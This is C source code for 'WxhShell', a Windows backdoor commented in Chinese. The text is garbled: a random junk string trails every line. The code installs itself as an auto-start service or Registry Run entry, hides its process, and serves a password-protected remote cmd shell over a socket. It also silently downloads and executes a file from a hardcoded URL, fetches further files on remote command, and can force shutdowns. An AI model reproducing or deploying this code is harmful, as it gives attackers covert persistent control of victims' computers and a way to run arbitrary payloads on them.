    break; sc8DY!|OYN  
    } CofH}-  
  // 关机 ns#~}2"d  
  case 'd': { 3}4p_}f/[4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zq;DIWPIoJ  
    if(Boot(SHUTDOWN)) &G/|lv>j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u<]mv  
    else { XocsSs  
    closesocket(wsh); Znta#G0  
    ExitThread(0); ^IGyuj0]jG  
    } %X9b=%'+  
    break; NQC3!=pQ}Y  
    } j`R<90~/  
  // 获取shell C.>  
  case 's': { i<m$#6 <Z  
    CmdShell(wsh); +~d1 ;0l|  
    closesocket(wsh); |qlS6Aln  
    ExitThread(0); x=5P+_  
    break; e8WEz 4r_  
  } kT^*>=1  
  // 退出 ku9@&W+  
  case 'x': { nlzW.OLM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ALd]1a&  
    CloseIt(wsh); ]jc_=I6)  
    break; Xlv#=@;O]  
    } -\kXH"%  
  // 离开 a jQqj.  
  case 'q': { efjO8J[uk-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $J"%I$%X=  
    closesocket(wsh); I1)-,/nEjg  
    WSACleanup(); )'5<6Q.]  
    exit(1); %X4-a%512  
    break; dk_,YU'z  
        } v**z$5x9  
  } kG1;]1tT#  
  } [q-;/ed  
hr$Sa  
  // 提示信息 ZBX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4.|-m.a  
} S Pn8\2Cj  
  } e&QS#k  
/vjGjb=3U  
  return; s=d+GMa  
} yGiP[d|tRc  
W]]q=c%2  
// shell模块句柄 (=1q!c`  
int CmdShell(SOCKET sock) $n= O  
{ 84=-Lw  
STARTUPINFO si; yo'9x s  
ZeroMemory(&si,sizeof(si)); dhHEE|vrz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -Z%F mv8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 99e*]')A%  
PROCESS_INFORMATION ProcessInfo; Xb}!0k/{  
char cmdline[]="cmd"; qy_%~c87  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o+<29o  
  return 0; upypxC  
} l'U1 01M>F  
AnNP Ti  
// 自身启动模式 Y4#y34 We  
int StartFromService(void) s^w\zzYb  
{ 9ilM@SR  
typedef struct )Zas x6`  
{ vsKl#R B  
  DWORD ExitStatus; (I4y[jnD  
  DWORD PebBaseAddress; v f`9*xF  
  DWORD AffinityMask; P##Z[$IJ3  
  DWORD BasePriority; &Y1`?1;nw  
  ULONG UniqueProcessId; uBmxh%]C~  
  ULONG InheritedFromUniqueProcessId; bV@7mmz:X+  
}   PROCESS_BASIC_INFORMATION; a3q\<"|  
(ZV;$N-t  
PROCNTQSIP NtQueryInformationProcess; HZ }6Q  
E0QPE5_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @(-yrU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +?;j&p  
{h#6z>p"u2  
  HANDLE             hProcess; M% @  
  PROCESS_BASIC_INFORMATION pbi; flG=9~qcGQ  
{FWyu5.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p*|ah%F6N  
  if(NULL == hInst ) return 0; vMhYpt?7\  
0q{[\51*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IAI(Ix  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ik j=`,a2B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iZQ\ m0Zc  
mDfwn7f  
  if (!NtQueryInformationProcess) return 0; #vQ?  
P@gt di(Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ep mJWbU  
  if(!hProcess) return 0; +Hj/0pp  
jYWw.g<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xO7Yt l  
iK!dr1:wSw  
  CloseHandle(hProcess); p1D()-  
9? 2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lUv=7" [  
if(hProcess==NULL) return 0; 1}!L][(  
lkA^\ +Ct  
HMODULE hMod; Cxm6TO`-;  
char procName[255]; xuU x4,Z  
unsigned long cbNeeded; WL l_'2h  
T~X41d\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q#N R32byF  
aG! *WHt  
  CloseHandle(hProcess); mc ZGg;3  
D{p5/#|r  
if(strstr(procName,"services")) return 1; // 以服务启动 dQ9 ah  
KCUU#t|8V\  
  return 0; // 注册表启动 *| YU]b;W  
} sqpGrW.  
)11W)G`w  
// 主模块 QR"bYQ  
int StartWxhshell(LPSTR lpCmdLine) 6NX3"i0 eT  
{ 0|XKd24BN  
  SOCKET wsl; b`CWp;6Y  
BOOL val=TRUE; ; 0ko@ \Lq  
  int port=0; %/T7Z; d  
  struct sockaddr_in door; oG_C?(7>  
QU T"z'  
  if(wscfg.ws_autoins) Install(); ZenPw1-  
S`iR9{+&  
port=atoi(lpCmdLine); L-\ =J  
YT=eVg53  
if(port<=0) port=wscfg.ws_port; XP-C  
,Ff n)+  
  WSADATA data; gn ?YF`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J} TfRrf  
y+U83a[L*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J8<J8x4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _D,eyP9P  
  door.sin_family = AF_INET; +xp]:h|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); | o0RP|l  
  door.sin_port = htons(port); Hi7y(h?wj  
81F,Y)x.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r_U>VT^E:  
closesocket(wsl); uS<_4A;sD,  
return 1; $^_|j1 z#i  
} xWE8W m  
CzVmNy)kl  
  if(listen(wsl,2) == INVALID_SOCKET) { KX3KM!*  
closesocket(wsl); `8:Kp  
return 1; s-rfS7;  
} =X1?_~}  
  Wxhshell(wsl); jL>:>r  
  WSACleanup(); 8W+5)m.tp  
2) ?q 58  
return 0; 3yV'XxC  
gU1#`r>[)  
} CO^Jz  
cCi I{  
// 以NT服务方式启动 >w|*ei:@S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :%X Ls,  
{ }Qr6 l/2  
DWORD   status = 0; x83a!9  
  DWORD   specificError = 0xfffffff; )oU)}asY  
2.lgT|p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5`-UMz<]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PaO- J&<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qlsQ|/'D  
  serviceStatus.dwWin32ExitCode     = 0; Yr+23Ro  
  serviceStatus.dwServiceSpecificExitCode = 0; 7G9 3,dJ  
  serviceStatus.dwCheckPoint       = 0; j9R6ta3\l  
  serviceStatus.dwWaitHint       = 0; `tEo]p  
md bp8,O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xT*d/Oaw  
  if (hServiceStatusHandle==0) return;  jz'<  
6bO~/mpWT~  
status = GetLastError(); a~ ]bD  
  if (status!=NO_ERROR) >v+jh(^  
{ Y`GOER  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d=3'?l`  
    serviceStatus.dwCheckPoint       = 0; 6GL=)0Ah  
    serviceStatus.dwWaitHint       = 0; T!2=*~A  
    serviceStatus.dwWin32ExitCode     = status; jqnCA<G~B-  
    serviceStatus.dwServiceSpecificExitCode = specificError; D'_Bz8H!p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }< 5F  
    return; C~4PE>YtTv  
  } %.HJK  
zsXpA0~3s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E JK0  
  serviceStatus.dwCheckPoint       = 0; #8h ;Bj  
  serviceStatus.dwWaitHint       = 0; r8/l P}(F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aM=D84@  
} ?GT@puJS-  
Di5(9]o2  
// 处理NT服务事件,比如:启动、停止 [A2`]CE<@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (Ddp|a"b  
{ .12aUXo(  
switch(fdwControl) T*[ VY1  
{ w:i:~f .  
case SERVICE_CONTROL_STOP: )?aaBaN$  
  serviceStatus.dwWin32ExitCode = 0; Q<(YP.k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e Y$qV}  
  serviceStatus.dwCheckPoint   = 0; Uh6 '$0  
  serviceStatus.dwWaitHint     = 0; 1B=>_3_  
  { O;9?(:_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ExBUpDQc  
  } 8wZf ]_  
  return; {QAv~S>4  
case SERVICE_CONTROL_PAUSE: 2 QTZwx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wBSQ:f]g  
  break; [bz T& o  
case SERVICE_CONTROL_CONTINUE: 3_$w| ET  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jXg  
  break; BJ}D%nm}  
case SERVICE_CONTROL_INTERROGATE: IE2"rQT  
  break;  .) tSg  
}; XMIbUbU k-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f9u^R=Ff[  
} hT g<*  
`# P$ ]:  
// 标准应用程序主函数 S>Yj@L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :[l\@>H1tX  
{ .Ajzr8P  
6IcNZ!j98  
// 获取操作系统版本 cre;P5^E  
OsIsNt=GetOsVer(); J3RB]O_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7[#yu2  
A^\.Z4=d"  
  // 从命令行安装 4u;9J*r4  
  if(strpbrk(lpCmdLine,"iI")) Install(); */qtzt  
YIRZ+H<Q  
  // 下载执行文件 (N-RIk73/O  
if(wscfg.ws_downexe) { =uHnRY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }yn0IWVa  
  WinExec(wscfg.ws_filenam,SW_HIDE); kRJ4-n^@><  
} g=L]S-e  
56lCwXCgA  
if(!OsIsNt) { YY((#"o;l  
// 如果时win9x,隐藏进程并且设置为注册表启动 hwYQGtjF  
HideProc(); f|7\DeY9U  
StartWxhshell(lpCmdLine); ZUm?*.g\^  
} \>. LW9  
else 1/+C5Bp*  
  if(StartFromService()) }|OaL*|u  
  // 以服务方式启动 >SF Uy\3  
  StartServiceCtrlDispatcher(DispatchTable); =ac_,]z  
else tC?=E#3 V  
  // 普通方式启动 82{&# Vc  
  StartWxhshell(lpCmdLine); 5 |0,X<&  
MM_k ]-7  
return 0; C*=Xk/0  
} _9 .(a  
r|Z3$J{^"  
$``1PJoi  
!LMN[3M_  
=========================================== Dr&('RZ4  
1@48BN8cm'  
)> ,wj  
d_UN0YT<  
{Bs~lC$  
ia&AW  
" (_kp{0r#  
e~%  ;K4  
#include <stdio.h> Pt:e!qX)  
#include <string.h> RcG0 8p.)  
#include <windows.h> -H^oXeN  
#include <winsock2.h> mYN7kYR}<`  
#include <winsvc.h> <#=N m0S$  
#include <urlmon.h> e1(Q(3  
f ),TO  
#pragma comment (lib, "Ws2_32.lib") Ei}/iBG@  
#pragma comment (lib, "urlmon.lib") |:[tNs*,O  
+CH},@j  
#define MAX_USER   100 // 最大客户端连接数 K;?,FlH  
#define BUF_SOCK   200 // sock buffer G@FI0\t  
#define KEY_BUFF   255 // 输入 buffer oBQ#eW aY  
p^<yj0Y  
#define REBOOT     0   // 重启 ,[S+T.Cu  
#define SHUTDOWN   1   // 关机 <9E0iz+j  
ptatzp]c#  
#define DEF_PORT   5000 // 监听端口 O<PO^pi  
6vuq1  
#define REG_LEN     16   // 注册表键长度 [Aj Q#;#Q  
#define SVC_LEN     80   // NT服务名长度 j Uv!9Y}F  
4(e59ZgY  
// 从dll定义API ;__9TN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~vmd XR`'T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7Dzuii?1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !-2R;yo12  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'j^xbikr  
]V %.I_  
// wxhshell配置信息 D0k 8^  
struct WSCFG { e0@ 6Pd  
  int ws_port;         // 监听端口 n55Pv3}C  
  char ws_passstr[REG_LEN]; // 口令 v(*C%.M)  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9CA^B2u  
  char ws_regname[REG_LEN]; // 注册表键名 f.aSKQD  
  char ws_svcname[REG_LEN]; // 服务名 q{s(.Uq$&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0q>P~] Ow  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D']ZlB 'K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bwVPtu`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yKYUsp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qy<[7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gmIqT f  
/27JevE  
}; 2LrJ>Mi  
~$' \L  
// default Wxhshell configuration Fc~'TBf,,`  
struct WSCFG wscfg={DEF_PORT, `U+l?S^$  
    "xuhuanlingzhe", [A}rbD K  
    1, Q-ni|  
    "Wxhshell", A+y  
    "Wxhshell", ;\EiM;Q]  
            "WxhShell Service", mRB   
    "Wrsky Windows CmdShell Service", O^/Maa/D1  
    "Please Input Your Password: ", FMkOo2{  
  1, >fH=DOz$&  
  "http://www.wrsky.com/wxhshell.exe", D:k 3" E"S  
  "Wxhshell.exe" `D9]*c !mO  
    }; :4~g;2oag  
^TMJ8` e  
// 消息定义模块 ;Yi4Xva@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )jq?lw'&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V"p!B f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1;Pv0&[q/  
char *msg_ws_ext="\n\rExit."; >zDF2Y[  
char *msg_ws_end="\n\rQuit."; h;=6VgXZ  
char *msg_ws_boot="\n\rReboot..."; DI!V^M[~u  
char *msg_ws_poff="\n\rShutdown..."; Gpm{m:$L  
char *msg_ws_down="\n\rSave to "; qo<&J f  
*x)Ozfe  
char *msg_ws_err="\n\rErr!"; 763+uFx^  
char *msg_ws_ok="\n\rOK!"; &/Ro lIHF  
2X:4CC%5  
char ExeFile[MAX_PATH]; t){"Tf c:  
int nUser = 0; 2o>)7^9|#<  
HANDLE handles[MAX_USER]; 83;NIE;  
int OsIsNt; }FzqW*4~  
WL`9~S  
SERVICE_STATUS       serviceStatus; ypJ".  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p>_;^&>&  
Vy_2.  
// 函数声明  8q1wHZ  
int Install(void); Wrrcx(  
int Uninstall(void); :4^\3~i1X  
int DownloadFile(char *sURL, SOCKET wsh); hFiIW77 s2  
int Boot(int flag); piU /&  
void HideProc(void); c/_ +o;Bc  
int GetOsVer(void); _+ .\@{c  
int Wxhshell(SOCKET wsl); GTHkY*  
void TalkWithClient(void *cs); 0afei4i~N  
int CmdShell(SOCKET sock); 3!5Ur&  
int StartFromService(void); 1? FrJ6 V  
int StartWxhshell(LPSTR lpCmdLine); s7oT G!  
*^([ ~[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +7t6k7]c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "5eNLqt^q  
Q}S_%I}u:  
// 数据结构和表定义 }(egMx;"3J  
SERVICE_TABLE_ENTRY DispatchTable[] = k</%YKk  
{ s?ko?qN(  
{wscfg.ws_svcname, NTServiceMain}, $T :un.TM  
{NULL, NULL} -l%J/:  
}; |+`c3*PV  
ID.n1i3  
// 自我安装 5OoN!TEM  
int Install(void) }du XC[6  
{ :VF<9@t  
  char svExeFile[MAX_PATH]; >DPB!XA3  
  HKEY key; OgF+O S  
  strcpy(svExeFile,ExeFile); jE#O>3+.  
gKOOHUCb  
// 如果是win9x系统,修改注册表设为自启动 ,;M4jc {  
if(!OsIsNt) { !"+'A)Nve  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iS5W>1]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O5H9Y}i]  
  RegCloseKey(key); hDV20&hq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :>itXD!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *6 _tQ9G  
  RegCloseKey(key); PvGDTYcKp  
  return 0; Jvun?J m  
    } RZ1 /#;  
  } Fu^ ^i&  
} t%530EB3  
else { \^#~@9  
_0 gKK2  
// 如果是NT以上系统,安装为系统服务 _gD pKEaY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &YDK (&>  
if (schSCManager!=0) JsO *1{6g  
{ "bDs2E+W  
  SC_HANDLE schService = CreateService d&#~ h:~  
  ( kh%{C] ".1  
  schSCManager, jYiv'6z  
  wscfg.ws_svcname, >J u]2++lx  
  wscfg.ws_svcdisp, Z'H5,)j0R  
  SERVICE_ALL_ACCESS, &i!vd/*WlD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pIbdN/z  
  SERVICE_AUTO_START, wO2_DyMm@  
  SERVICE_ERROR_NORMAL, waKT{5k  
  svExeFile, $ "Bh]-  
  NULL, :8A!HI}m{  
  NULL, ~q&pF"va8  
  NULL, .'a&3 3J  
  NULL, )]#aauC+  
  NULL 7 bDHXn  
  ); wu"&|dt  
  if (schService!=0) b=3H  
  { c*UvYzDZL  
  CloseServiceHandle(schService); qH['09/F6  
  CloseServiceHandle(schSCManager); `Y?87f:SP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <, 3ROo76  
  strcat(svExeFile,wscfg.ws_svcname); c^`]`xiX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vky.^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A{B/lX)  
  RegCloseKey(key); XNgDf3T  
  return 0; ""Q1|  
    } JJRK7\~$  
  } #lU9yv  
  CloseServiceHandle(schSCManager); }-~T<egF  
} LL$_zK{  
} t\$U`V)  
R-^96fFBy  
return 1; r\;ut4wy  
} 3OM2Y_  
W-/}q0h  
// 自我卸载 vd6l7"0/  
int Uninstall(void) vf4{$Oag  
{ 6=N`wi  
  HKEY key; :rP#I#,7w  
.CSS}4  
if(!OsIsNt) { ?bw4~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K R"M/#  
  RegDeleteValue(key,wscfg.ws_regname); ~H6r.:]  
  RegCloseKey(key); _4cvX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ){r2T1+-%  
  RegDeleteValue(key,wscfg.ws_regname); qF iLh9=D  
  RegCloseKey(key); \ u_ui  
  return 0; R>`}e+-D  
  } 4`Ic&c/  
} sKyPosnP  
} ;E ec5w1  
else { @* il3h,  
Pl-5ncb\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  )J?{+3  
if (schSCManager!=0) 0kDK~iT  
{ -7!&@wuQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Lr`1TH,  
  if (schService!=0) DQwGUF'(  
  { y$<Vha  
  if(DeleteService(schService)!=0) { ttXjn  
  CloseServiceHandle(schService); /.M+fr S  
  CloseServiceHandle(schSCManager); <W]g2>9o9  
  return 0; ]; %0qb  
  } -)vEWn$3<  
  CloseServiceHandle(schService); 2YuN~-  
  } %& _V0R\k  
  CloseServiceHandle(schSCManager); o->\vlbD  
} $Ci0I+5w  
} X,8<oX1r  
TPhTaKCio  
return 1; ^t7x84jhL  
} g/CxXSv@0  
5'a3huRtV  
// 从指定url下载文件 .d/: 30Y  
int DownloadFile(char *sURL, SOCKET wsh) PQ|69*2G  
{ s_.]4bl.8  
  HRESULT hr; a?YCn!  
char seps[]= "/"; V<HU6w  
char *token; |y20Hi':  
char *file; m5G\}8|  
char myURL[MAX_PATH]; 2 &Nb  
char myFILE[MAX_PATH]; Q%aU42?_1  
!.1%}4@Q]  
strcpy(myURL,sURL); NA,C Z  
  token=strtok(myURL,seps); c#N<"cy>  
  while(token!=NULL)  '8j$';&`  
  { HG'{J^t  
    file=token; y0~Ia:y  
  token=strtok(NULL,seps); 1}ZKc=Pfu  
  } `pd&se'p  
0b91y3R+  
GetCurrentDirectory(MAX_PATH,myFILE); w;v7_  
strcat(myFILE, "\\"); d*pF>j  
strcat(myFILE, file); wB>r (xQ'  
  send(wsh,myFILE,strlen(myFILE),0); L!_ZY  
send(wsh,"...",3,0);  ;v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jEXW  
  if(hr==S_OK) y$81Z q  
return 0; $hxN hI  
else >!6i3E^  
return 1; )EyI0R]5  
VDB;%U*D  
} oPc\<$  
)rLMIk  
// 系统电源模块 u9=SpgB#  
int Boot(int flag) f`>/ H!<2  
{ #GaxZ  
  HANDLE hToken; LflFe@2  
  TOKEN_PRIVILEGES tkp; <\zCpkZ'B  
D}3XFuZs_  
  if(OsIsNt) { y$hp@m'@C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); midsnG+jnf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TO,rxf  
    tkp.PrivilegeCount = 1; QCPID:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >s3gqSDR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fQ+VT|jzx  
if(flag==REBOOT) { [~D|peM3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z['\61  
  return 0; M\b")Tu{0  
} PN+G:Qv  
else { hl&-\dc+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e$c?}3E!z  
  return 0; (SVWdgb  
} -oz`"&%  
  } ^BZkHAp  
  else { bU 63X={  
if(flag==REBOOT) { 0^'B3$>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0i[zup  
  return 0; \bCX=E-  
} =rPrPb  
else { Kt>X3m,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H(0q6~|  
  return 0; UkCnqNvx  
} /\mKY%kyh  
} zm9TvoC%}  
CBf7]n0H  
return 1; CLKov\U\  
} #$vRJ#S}U  
&@"]+33  
// win9x进程隐藏模块 ?B.~ AUN  
void HideProc(void) G)>W'yxQ  
{ }2)DPP:ic  
5sde  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KRsAv^']  
  if ( hKernel != NULL ) iNCX:Y  
  { *0Gz)'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0h$GI"dR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )_zlrX  
    FreeLibrary(hKernel); ^C&+ ~+  
  } z41_oG7   
4"\ yf  
return; VVWM9x  
} q&'Lbxc>c  
/.5;in  
// 获取操作系统版本 k6IG+:s  
int GetOsVer(void) E& 36H  
{ A CNfS9M_w  
  OSVERSIONINFO winfo; 2=PBxDs;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ghk5rl$   
  GetVersionEx(&winfo); NCA {H^CL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @D`zKYwX1  
  return 1; i`%.  
  else N$?cX(|7  
  return 0; !Q-wdzsp?  
} V9x8R  
$mco0 %$  
// 客户端句柄模块 zvv:dC/p<  
int Wxhshell(SOCKET wsl) )He#K+[}^4  
{ fm1X1T.  
  SOCKET wsh; %R0v5=2'  
  struct sockaddr_in client; qUhRu>   
  DWORD myID; . ,NB( s`  
+-068k(  
  while(nUser<MAX_USER) ;~HNpu$  
{ 1H:ea7YVU  
  int nSize=sizeof(client); 'Tb0-1S?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c-XLI  
  if(wsh==INVALID_SOCKET) return 1; FYPz 4K  
E(+T*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4YbC(f  
if(handles[nUser]==0)  e/e0d<(1  
  closesocket(wsh); dhRJg"vrQ  
else `0BdMKjA  
  nUser++; a ib}`l  
  } ^[h2%c$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @%i>XAe#0  
(0*v*kYdL+  
  return 0; nYv#4*  
} ]>:^d%n,}  
;np_%?is  
// 关闭 socket i%(yk#=V  
void CloseIt(SOCKET wsh) `rWB`q|i<  
{ MM#cLw  
closesocket(wsh); .PVLWW  
nUser--; sz09+4h#  
ExitThread(0); `]2@ _wa  
} _^uc 0=  
l^ 4OC  
// 客户端请求句柄 *)VAaGUX>  
void TalkWithClient(void *cs) 7{BnXN[  
{ hd^x}iK"  
"!&B4  
  SOCKET wsh=(SOCKET)cs; 0*(K DDv  
  char pwd[SVC_LEN]; GXb47_b^  
  char cmd[KEY_BUFF]; +}!DP~y+  
char chr[1]; }X1.Wt=?  
int i,j; M|CrBJv+F  
%= u/3b:o  
  while (nUser < MAX_USER) { $>vy(Y  
m^$5K's&  
if(wscfg.ws_passstr) { qMgfMhQ7DU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^E@@YV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '_Wt }{h  
  //ZeroMemory(pwd,KEY_BUFF); #MTj)P,  
      i=0; 5}<[[}(  
  while(i<SVC_LEN) { %<U{K;  
<*@~n- R$  
  // 设置超时 rnvQ<671W  
  fd_set FdRead; NXgRNca  
  struct timeval TimeOut; wkT;a&_  
  FD_ZERO(&FdRead); J9@}DB  
  FD_SET(wsh,&FdRead); 5g NLO\  
  TimeOut.tv_sec=8; !P|5#.eC  
  TimeOut.tv_usec=0; IhW7^(p\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L~MpY{!3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y$8; Gm<)  
.w'vD/q;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R`He^  
  pwd=chr[0]; _@prmSc  
  if(chr[0]==0xd || chr[0]==0xa) {  R<&FhT]  
  pwd=0; $Xt;A&l2?  
  break; A^pW]r=Xtk  
  } u(9X  
  i++; UD*+"~  
    } ]V<"(?,K  
:o\5K2]:  
  // 如果是非法用户,关闭 socket 3_J>y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +Jw{qQR/*  
} i| xt f  
aF])"9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6GOg_P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $r"A@69^RS  
wW()Zy0)  
while(1) { xKW"X   
"-U3=+  
  ZeroMemory(cmd,KEY_BUFF); ~L){O*Z  
TSXTc'  
      // 自动支持客户端 telnet标准   .}p|`3$P  
  j=0; Ygx,t|?7  
  while(j<KEY_BUFF) { 4$i}Xk#3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6F ;Or  
  cmd[j]=chr[0]; LVmY=d>  
  if(chr[0]==0xa || chr[0]==0xd) { N*1  
  cmd[j]=0; *tG11gR,&  
  break; 0#=W#Jl>  
  } %^')G+>i  
  j++; 8*)4"rS  
    } H XP;0B%4  
$nFAu}%C  
  // 下载文件 6h@+?{F.  
  if(strstr(cmd,"http://")) { i puo}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IozNjII$:.  
  if(DownloadFile(cmd,wsh)) thV Tdz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S>EDL  
  else E!dp~RwZu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bt6xV<jD  
  } Loc8eToZ  
  else { +I.v!P!^  
@SQceQfB  
